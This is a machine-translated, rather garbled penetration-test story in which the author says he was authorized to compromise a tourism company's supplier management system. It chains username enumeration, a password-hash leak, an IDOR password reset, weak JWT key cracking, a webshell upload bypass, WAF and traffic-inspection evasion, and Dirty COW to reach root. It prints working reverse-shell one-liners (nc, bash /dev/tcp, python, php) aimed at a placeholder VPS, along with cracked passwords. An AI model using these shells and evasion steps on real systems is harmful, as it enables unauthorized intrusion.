Yang Yang with GNU, a senior security expert of a communication operator, is responsible for security operation and maintenance. Although in the blue team, but a red heart.
The whole attack chain probably includes seven steps: information collection, vulnerability utilization, establishment of stronghold, authority promotion, Authority maintenance, horizontal movement, trace clearing, etc. Although this site has only experienced the first four steps, it also has strong representativeness. The combination of vulnerabilities forms the attack chain and takes the management authority.
Origin of events
Du brother works in it of a tourism group company Technical director, two on-site security manufacturers provide security services for him, one is responsible for business-related penetration testing, and the other is responsible for network access and traffic monitoring security control. Last week, I had a string with him. Except for the noise at the beginning, most of the time was sermon. Under his management, the production system has achieved absolute security.
Well, you know, although I'm on the blue team, I always have a red heart. Naturally, I have to say, "it's still up to the attacker. There's no point lost in the attack and defense drill, which means nothing. Brother Du is not happy. Under the influence of alcohol, he says," in this way, I'll help you apply for a 5K vulnerability reward, and you can see what problems can be found. ". Yes, you can find it, earn some oil money, but you can't find it. When you study, you should come down.
Brother Du saw that I dared to take the move. Before leaving, he lit a cigarette and took two puffs. After thinking for a moment, he added two restrictions to me. First, before each substantive attack, he must first obtain his authorization. Second, a single vulnerability does not complete the task, but must get the operating system root.
Wow, it's a big challenge. If I can't take it, I'll face it. I'm in a fierce ideological struggle. Wait, wait. Shouldn't I look at money? Face is not important. OK, I'll figure it out.
Initial spying
The target is a supplier management system. Visit it and automatically jump to the login page:
Just about to start the information collection work, there are three places on the page that attracted my attention: the interface address, login function and password retrieval function of. Do.
Review the. Do interface. Seeing. Do naturally associates with struts 2 command to execute the whole family barrel.
See which scripting language to use:
It's Java. Use S2 vulnerability verification tool produced by Anheng to scan:
No fruit.
Review the login function. There are many review points for login function, such as whether the account can be enumerated and the password can be broken, but the premise is that there is no verification code. Obviously, there is a picture verification code here, so I will first confirm whether the verification code can be bypassed.
Block login request:
The response flag is 2, the second retransmission, the response flag changes to 1:
Obviously, the captcha defense mechanism is effective. Although Python can effectively attack the captcha by calling testeract to identify the picture, it needs me to crawl a large number of pictures from the station to train. At this stage, I don't need to go deep into it, so I need to put it temporarily.
Review password retrieval function. The password retrieval function is prone to logic errors. From experience, it can attack the password retrieval function from at least seven aspects: the receiver of the reset certificate can be tampered with, the leakage of the reset certificate, the reset certificate is not verified, the reset certificate can be broken, the user is confused, there are state parameters affecting the subsequent logic in the response, and the token can be predicted.
To access the password recovery page:
Block password retrieval requests:
It can be seen from the response description that the user does not exist. The result is the same after resending several times, indicating that the picture verification code is not effective. OK, the first hole, the user name can be enumerated.
Obviously, in the params parameter of the request, URL decoding can get clear text:
Then, set root as enumeration variable, load two dictionaries of Chinese name (TOP500) and background account to enumerate:
Get three valid accounts: Nana, admin, LiuFei.
Select an account at will to enter the password retrieval process, LiuFei, and the response is JSON data. After formatting, I am shocked:
Great gift of sensitive information! There's a mailbox, even a hash password. Note that the second vulnerability, account related sensitive information disclosure.
My goal is very clear, get the login password, so I plan to use the leaked information to achieve the goal from two aspects: information base and hash anti solution.
Information base. Extract the user name in the mailbox, LiuFei of LiuFei, 18xxxx56 of Nana, legxxxxxng of admin, and query the historical password in the information base:
Only a number of history passwords related to LiuFei are found and verified one by one, all of which are wrong.
Hash inverse. The hash passwords of the three accounts are extracted, including a1e0476879cab2a76cc22c80bbf364dd of LiuFei, 208f0aba4a6d4b9afe94207e6c57d594 of Nana, 3faf009c43bb39c5a37859bc48feaf3 of admin.
With the hash password, check the rainbow table for the first time, and de solve the plaintext password:
Only the password of account LiuFei is solved as! Qaz2wsx, Nana and admin are not solved, put it down temporarily. The third vulnerability is that the business system has a weak password account LiuFei.
Low power station
Log in to the website through LiuFei /! Qaz2wsx:
The function is very limited, there is only a recycle bin, there is no business data in it.
There are several input boxes in the figure above, which should be a query function, but the query button can't be found. Try to search the query interface in the front-end HTML source code, without any result; review JS in the message history of burp, and find no useful interface. It seems that we need to find a high-level account.
Return to the two accounts that have not been solved previously: 208f0aba4a6d4b9afe94207e6c57d594 of Nana, 3faf009c43bb39c5a37859bc48feaff3 of admin.
Https://www.cmd5.com/ has a large amount of rainbow table data, which can't be solved. It's probably a strong password. For the breaking of strong passwords, I am used to making a password dictionary with social worker attributes around the user name. For example, user name Nana, social worker attribute password may be Nana, na520na, Nana @ 19901015. How to generate social worker attribute password dictionary? Hashcat! For Didi, hashcat is not only a hashburst artifact, but also supports rule-based password dictionary generation. The rule base is located in hashcat / rules /:
Among them, dive.rule contains the rules I need, choose one. I store Nana as basic information in base.txt as input, and let dive.rule imitate learning to generate a similar password dictionary, and save it in se_passwds.txt:
Then use the social work dictionary to break the hash code:
The fourth vulnerability is that there is a social worker attribute password account Nana in the business system. With a similar method, the social worker password dictionary of account admin was made. Unfortunately, the password of admin was not revealed. It doesn't matter. You can log in to the system with Nana / nanacnac. Maybe there's something new.
Once in the background, it is customary to find three types of functions first: upload function, query function and command function. Upload function, upload webshell through various arbitrary file upload attack methods; query function, check whether SQL injection exists, take data (such as hash password); command function, which refers to those functions implemented by famous tools, such as inputting IP, business function to detect whether the IP survives, and the server may Ping Command, for example, upload a compressed package and the page displays the contents of the compressed package. The server may execute the unzip command. At this time, attack the server with command injection or command option injection.
There are not many business functions to log in to the Nana account, but there is an upload function:
I have to go into it, maybe the only way to get shell.
Upload a normal PNG picture first, and the page reports an error, prompting that non administrators are not allowed to upload:
This is not fun. The hash password of admin has been tried with rainbow table and social workers dictionary before. It can't be solved reversely, and the progress is blocked again.
Logical loophole
Looking back at the password retrieval function that we've explored before, we found that the leaked user's hash password has not been further explored. We should review it again, maybe we can reset the admin password.
Enter the password recovery process with admin, first pass the verification of the existence of the server user name, and then send the password reset URL to the email address bound to the account. The request is as follows:
Obviously, there is an insecure direct object reference (idor) problem in the parameter email. Replacing it with the attacker's mailbox will result in 90% probability of receiving reset email. (idor, domestic and foreign manufacturers have totally two attitudes towards it. One time, they submit an idor vulnerability to foreign e-commerce platforms, which can lead to the full amount of users' mailbox leakage, take 3k, Mido, and similar vulnerabilities to domestic manufacturers, which can lead to the leakage of personal information of government and enterprise users, the addition, deletion and modification of users' home address, the reward of 2K, or the shopping card, t_t)
So I found an anonymous email and tried to hijack admin's password to retrieve the email:
Soon, anonymous email received a letter:
If you visit the password reset link with token, you can really change the password:
Foreign style! The fifth vulnerability, arbitrary user password reset.
Ha ha, little excited, have a drink of tea, brush wechat to rest, just see brother Du's message:
The tea was spit all over the place, and the admin who got it flew again. There's no way. They made it clear that "every step of real attack must be authorized first".
I have to find other ways to attack!
Vertical ultra vires
Focus on the upload function of the Nana account. Although the server reports an error and forbids non admin upload, a careful review of the request message shows that there is a token:
This token makes me feel very abrupt. Usually, a token is either used as an identity certificate or used to prevent CSRF. If the former is used, it should not exist at the same time as the cookie representing the identity certificate. If the latter is used, it is usually a 16 bit or 32-bit hash value, rather than a three segment Base64 separated by a dot. So I decode each segment in turn:
JWT is found in the first decoding segment, user name is found in the second decoding segment, and decoding fails in the third segment due to underline.
It's JWT! Old friends, the full name is JSON web token. In modern web applications, it replaces cookie to represent the carrier of user's identity certificate. It is similar to Base64 in form, but uses point characters other than the available character space of Base64, and cannot be decoded directly. Once JWT is found in HTTP message, it should be focused on. I didn't think for a while that this is the JWT commonly used in modern web. The server is not good at JWT implementation, which is easy to lead to vertical ultra vires. For example, the user field value in the second paragraph is changed from Nana to admin. However, the signature of JWT (that is, the third part above) is obtained by hashing the information header and data combined with the key. The server ensures the integrity and validity of the data by signing. Because of this, I can't provide the key, so after the tampered token reaches the server, it can't pass the signature verification, resulting in unauthorized failure.
To attack JWT, I usually use three methods: unchecked signature, disable hash, and break weak key.
Signature not verified. Some servers do not verify the JWT signature, so try to modify the token and send it directly to the server to view the result. Then, I change the user field value from Nana to admin and regenerate the new token:
Because the correct key is not filled in, even if a new token with the correct format is generated, an invalid signature will be prompted. If it is OK, it will be put into the upload request message and sent to the server. Try your luck:
Bad news:
It doesn't matter. Keep trying other attacks.
Disable hash. The first part of JWT contains alg field, which specifies which hash algorithm is used to generate signature. Hs256 is used in this station, which can be tampered with as none. Once alg is found to be none, hash signature will not be generated, and there is no verification signature naturally.
Https://jwt.io/ ා debugger regards alg as none as malicious behavior, so JWT cannot be generated through online tools:
I have to use Python's pyjwt library to implement:
You see, there are only two parts of JWT generated by the none algorithm, and no signature is generated at all. Send the new token to the server and still report "wrong signature". In addition, some JWT implementations are case sensitive, so I continued to try none, none and none, all reporting errors.
Break the weak key. Don't give up, even if the last move has to try, I hope the station is using a weak key, burst.
I found a JWT key breaker on GitHub https://github.com/lmammino/jwt-cracker, but it only supports the burst of character sequence exhaustion, unable to load the dictionary:
I had to write a script myself.
The pyjwt library mentioned above can be used not only to generate JWT, but also through jwt.decode (jwtstr, verify = true, Key = key) is used for signature verification. However, the factors that cause the verification failure are not only the key error, but also the pre-defined field error in the data part (for example, the current time exceeds exp), or the JWT string format error, etc. Therefore, verify the key with jwt.decode (jwtstr, verify = true, key = key):
1. If the direct signature verification fails, the key is a valid key;
2. If the verification fails due to the predefined field error (jwt.exceptions.expiredsignatureerror, jwt.exceptions.invalidaudienceerror, jwt.exceptions.invalidissuedatererror, jwt.exceptions.invalidissuedatererror, jwt.exceptions.immaturesignatureerror) in the data part, it indicates that the key is not caused by the key error, and the key is also a valid key;
3. If the verification fails due to the key error (JWT. Exceptions. Invalidsignatureerror), the key is invalid;
4. If the verification fails due to other reasons (such as JWT string format error), it is impossible to verify whether the current key UU is valid at all.
According to this logic, the key burst function of JWT can be realized quickly. The code is as follows:
Run the script and quickly find the key:
Ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha!
Next, I change the user field from Nana to admin and provide a valid key of $admin $:
A new JWT value with a valid signature was generated.
Try to upload a picture with a new JWT that fake admin:
Ha ha ha ha, upload the picture successfully. The sixth vulnerability, JWT uses a weak key, which can result in a vertical override.
Establish a stronghold
It's really troublesome. It took so long to get a usable upload function. It's not necessarily able to upload webshell. Take a step.
In my opinion, any file upload attack should focus on four elements: finding file path, specifying file extension, writing script code, and preventing WAF interception.
Find the file path. After uploading webshell, you must visit it. You must know the file write path. Generally, after uploading successfully, the path will be echoed in the response, but the station does not echoed, but fortunately, it is a picture, so you can right-click the page to view the file path:
At the same time, in order to facilitate subsequent debugging, I keep the interface to query the file path:
Specifies the file extension. In the upload message, there are three places involving the file extension:
I have to verify one by one which extension is used to affect the server when writing files. Try to change the info.png of the first filename field to info.jsp, and confirm to write the filename:
Wow, this is luck.
Write script code. Next, I will replace the image data in the upload message with a line of harmless JSP code:
Upload failed. The file content is the only place to change. Then, I can reasonably guess whether the server has detected whether there is script code in the file content, or whether the file header is a picture type.
Verify that script code is detected. I changed this line of JSP code to plain text:
Still failed, indicating that malicious code was not detected.
Verify that the file header is detected. Different types of files have corresponding file type signatures (also known as type magic number, referred to as file header). For example, the file header of PNG is 89 50 4E 47 0d 0A 1A 0A hex, GIF is 47 49 46 38 37 61, and JPG is FF D8 FF E0. So I added the PNG header and uploaded it again:
Wowo, upload succeeded. Visit immediately to confirm whether it can be resolved:
500 error, shouldn't be ah, how can such a line of harmless common code lead to server error?! Will there be invisible characters in the PNG header, resulting in parsing error? Try changing to GIF header with all visible characters:
Confirm whether it can be resolved normally:
Ha ha, pay attention! The GIF file header can be parsed successfully.
Anti WAF interception. Next, I replace the harmless JSP code with the command execution pony, and successfully upload, parse and execute the command:
Ha ha, the seventh hole, file type signature can be bypassed, causing any file to upload getshell.
My heart began to be dissolute, and I could not help but press F5 to find another moth:
I suspect that WAF is responsible for successfully writing a horse, executing a command, refreshing the page and forbidding access. It rejects the request after finding malicious behavior in the traffic.
Two years ago, I would have used these methods to break through WAF: block transmission, abnormal request, escape sequence, remote coding, TLS abuse. Now, the epoch-making ice Scorpio comes out (although it is not open-source), so I can almost ignore the existence of WAF. In ancient times, all kinds of words, ponies and Damascus have long been the default killing rules for WAFS; the legendary webshell management client kitchen knife has been in disrepair for a long time, and the plaintext traffic has no privacy to speak of; icy Scorpio, with the key transformation technique, transforms the text load into binary stream, and then transmits encrypted, is born with the ability to prevent traffic monitoring.
So, I uploaded the ice scorpion horse:
Direct access error reporting:
It doesn't matter. The ice scorpion doesn't handle the abnormality, which doesn't affect the connection of the management end:
Now, I can execute commands at will:
Management documents:
In addition, as for upload vulnerability, ice Scorpio traffic monitoring and whitelist expansion bypass, you can learn about the following two points:
1. Can the ice scorpion flow escape the WAF monitoring of all brands? Almost the only Tianyan system that can't escape Qi Anxin (the original 360, the original netherworld). When the management end of the ice scorpion establishes a conversation with the ice scorpion horse, it needs to obtain a dynamic key. In this process, there are two message characteristics of request and response. Tianyan's focus is here (the author will supplement later, here is the limited WAF he has seen Among the brands, only Tianyan can find the flow of icy scorpion, and most other brands have not been verified);
2. In the case of any file upload attack and the server's white list of extension, in addition to the regular vulnerability resolution technique, you may also pay attention to the Local File Inclusion Vulnerability (LFI) and HTTP parameter pollution vulnerability (HPP), especially HPP, which is very destructive when breaking through the white list limit.
System power raising
Although webshell gives me the ability to execute commands and manage files, it is not a real shell after all, unable to execute interactive commands, unable to control the process state, unable to complete commands, etc., which is very unfavorable to the power lifting operation, so it must rebound the shell.
Perform the bounce command on the target with the ice scorpion:
VPS monitoring:
When I fainted, I didn't see the shell coming back. The rebound shell failed! There are many factors that lead to failure. From experience, there are several common types: no rebound command, no export traffic, limited external access port, traffic review.
Verify that the bounce command does not exist. I often use several bounce commands: NC / nc.openbsd/nc.traditional, bash / SH / dash, python / Perl / PHP / ruby, exec.
Use NC to bounce. The command is as follows:
nc <your_vps> 1024 -e /bin/sh
Some target NC does not support the - e parameter. There are two solutions. You can either use another version of NC:
nc.traditional <your_vps> 1024 -e /bin/sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 | nc <your_vps> 1024 >/tmp/f
Bounce with bash:
/bin/bash -i >& /dev/tcp/<your_vps>/1024 0>&1
Bounce with Python:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<your_vps>",1024));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Bounce with PHP:
php -r '$sock=fsockopen("<your_vps>",1024);exec("/bin/sh -i <&3 >&3 2>&3");'
Bounce with exec:
0<&196;exec 196<>/dev/tcp/<your_vps>/1024; sh <&196 >&196 2>&196
Check whether the relevant command exists on the target:
It seems that all other bounce commands are available except PHP, so previous bounce failure is not the reason for bash command.
Verify that outlet flow is prohibited. Some targets restrict the export traffic on the firewall, and forbid the target to initiate network requests to the outside actively. I plan to verify through out of band. The general logic is to monitor the network request of a certain protocol on the attacker's own VPS, and use this protocol to access the VPS on the target. If you see the request log of this protocol on the VPS, you can infer the target's allowed export traffic.
In order to reduce the interference of other factors, I used to choose the protocol without port to test the export traffic. ICMP is the simplest. You know that there is ICMP spying on the Internet at any time, which leads to a large amount of logs seen by VPS. Therefore, I specify the size of the Ping packet, which is convenient for filtering.
Step 1: Although I specified the Ping package size, the actual size is determined by the system. First, execute the ping command on the target to get the actual package size:
I use the - s option to specify that the packet size is 64 bytes, and the system actually sends 92 bytes. I use the length 92 as the keyword to find the ICMP record.
Step 2: monitor ICMP logs on VPS:
Step 3: Ping the target again:
Step 4: view the ICMP package with the size of 92 on VPS:
After the above four steps, I confirm that the target allows the export flow.
Verify that the outbound access port is restricted. Some targets have limited access to external ports. There are two common ways: blacklist and whitelist. Blacklist, for example, forbids the target machine to access the default port 4444 of MSF; whitelist, for example, only allows the external access to the common port 80 of the web. Note that even if the 80 port is monitored by the attack end, the traffic of getshell is not HTTP protocol, but a common socket, which should not be confused with HTTP tunnel getshell.
The previous bounce failed with port 1024. Try port 2941 instead:
To access port 2941 of VPS with HTTP protocol on the target:
Wait for a moment, there is no HTTP record for VPS, so it is doubted to use white list. Experience shows that the port white list usually only allows access to the default 80 of HTTP service and the default 443 of HTTPS service. Therefore, VPS listens to port 443 and accesses port 443 on the target. At this time, VPS obtains the access record of port 443:
Then, I can almost conclude that the target is indeed using the white list mechanism to restrict the port number of outbound access, and guess that port 443 is in the white list range.
Verify that there is a flow review. After changing to port 443, the shell should bounce back smoothly. The server did receive the shell, but before it could execute any command, it immediately dropped the line. I guess that there may be some kind of traffic detection device in the server, which is connected to the network by physical bypass and logical series connection. Once malicious behavior is found, the TCP packets of reset are sent to the client and the server respectively, so as to disconnect the client and the server, which is similar to the anti circumvention mechanism of traditional bastion machine.
Traffic review, the review equipment must get clear text traffic data, to prevent the review naturally think of encrypted traffic. Therefore, I no longer simply use bash to rebound shell, but on this basis, encrypt the original traffic with OpenSSL, so as to achieve the purpose of anti traffic review.
Specifically, the first step is to generate the public / private key pair of SSL certificate on VPS:
Step 2: VPS monitors the rebound shell:
Step 3: encrypt the traffic of rebound shell with OpenSSL on the target:
Step 4: obtain the encrypted dumb shell on VPS successfully:
Now, all I get is a simple dumb shell, not an interactive shell. For the following reasons, I have a strong driving force to turn the dumb shell into an interactive shell: to prevent ctrl-c from interrupting the getshell session, unable to view syntax highlighting, unable to execute interactive commands, unable to view error output, unable to use tab command completion, unable to manipulate job, unable to view command history.
Specifically, the first step is to execute in the dumb shell:
$ python -c 'import pty; pty.spawn("/bin/bash")'
Type Ctrl-Z to return to the command line of VPS; in the second step, execute:
$ stty raw -echo
$ fg
Go back to the dumb shell; step 3, type ctrl-l in the dumb shell and execute:
$ reset
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows 54 columns 104
In this way, I get a full-featured interactive shell. For example, it supports command completion and syntax highlighting:
Everything is ready to enter into the operation of power lifting. There are many ways to extract power, such as using kernel stack overflow to extract power, searching clear text password in configuration file, environment variable hijacking high authority program, insecure service, using POSIX capabilities to extract power, sudo mismatch, suid abuse and so on. I like to cut the mess quickly, upload linux-expand-suggestion-2 to the target and run it:
It indicates that there may be a dirty ox vulnerability in the current kernel. Upload the locally compiled dirty ox exp and get root without any disturbance after execution:
Although the goal of using kernel vulnerability to successfully raise the right, for me, it can only be regarded as good luck. In today's network security ecology, the operation and maintenance personnel have enough security awareness, and the installation of system patches has been integrated into daily work. Therefore, it is necessary for me to share a power lifting technique other than kernel vulnerability. Its success rate is very high, and unlike kernel power lifting, which may cause system suspension, it is a completely lossless sudo mismatch extraction technique for the system.
I like it very much, very much and very much. One way of using sudo mismatch is to check whether the. Sudo ﹣ as ﹣ admin ﹣ successful file is in the home / directory. If so, you can enter the password of the current low-power account and switch to root directly Users, on the premise of obtaining the system environment of the current account, need to get the password of the low-power account. Although there is a threshold, it is not impossible (for example, searching for various configuration files).
Target jis-ctf-vulnupload-ctf01 is a good case. First of all, take advantage of the web vulnerability to get the metapreter session of the low-power account techni:
Next, search the file for its password:
Then, find the. Sudo as admin successful file in home /
Finally, switch to root with technawi's own password:
In this way, the right to success!
Say so much, it's not the best way to raise power, which is clumsy, which can achieve the goal, which is suitable for your thinking mode, it's the best, you say!
The end of the story
Here, the task is finished. The whole process is very interesting. The target environment has layers of defenses, but each defense line has some small problems more or less. A series of small problems become the attack path for hackers to enter the system.
In a word, the whole process of attack chain includes seven steps: information collection, vulnerability utilization, site establishment, authority promotion, Authority maintenance, horizontal movement and trace removal. Although this site has only experienced the first four steps, it also has strong representativeness. In a brief review, the key steps are as follows:
1. In the password retrieval function, the picture verification code was not refreshed, resulting in enumeration of user names and three valid accounts: Nana, admin, LiuFei;
2. Password retrieval function. If it is an effective user, the server will disclose sensitive information of the effective user, including hash password;
3. Because of the weak password in the system, the password of LiuFei is solved by rainbow table;
4. Log in to the system through the LiuFei account. It is found that it is a low-power account and has no available function;
5. Return to the Nana account and break the password of the account by making the social worker password;
6. Log in to the Nana account and find the upload point, but it is not allowed to upload without admin;
7. Go back to the admin account, review the password retrieval function again, and if there is idor, reset the admin password, but the business manufacturer tells that it can't be reset, stop;
8. Log in the Nana account again, analyze the upload request message, and find that the server uses JWT as the identity certificate, because JWT uses weak key, resulting in the vertical ultra vires to admin;
9. upload as admin. The server can easily bypass and successfully upload the webshell by signing the file type;
10. The server reviews the webshell traffic and cannot use it for a long time. Instead, it uses the ice scorpion horse to realize binary and encrypted post data and break through the webshell traffic review;
11. When the shell rebounds, it is blocked. The target sets the white list of external access ports, which includes 80 and 443 through various methods;
12. Setting the rebound shell to port 443 still failed. It was found that the target deployed the rebound traffic review device. Therefore, OpenSSL was used to encrypt the rebound traffic and successfully obtain the rebound shell;
13. In order to facilitate the subsequent lifting, maintenance and movement of rights, the rebound dumb shell is transformed into a full-featured interactive shell through skills;
14. By looking up the target kernel version, we found that there was a dirty cow vulnerability. After uploading exp, we successfully raised the right to root.
In the end, Du brothers also fulfilled their promise:
Although we need to look at Qian as a human being, it is not the source of happiness. It's the real fun to bring obstacles, make breakthroughs at all levels and make troubles directly!
(some information is sensitive and the content is adjusted appropriately)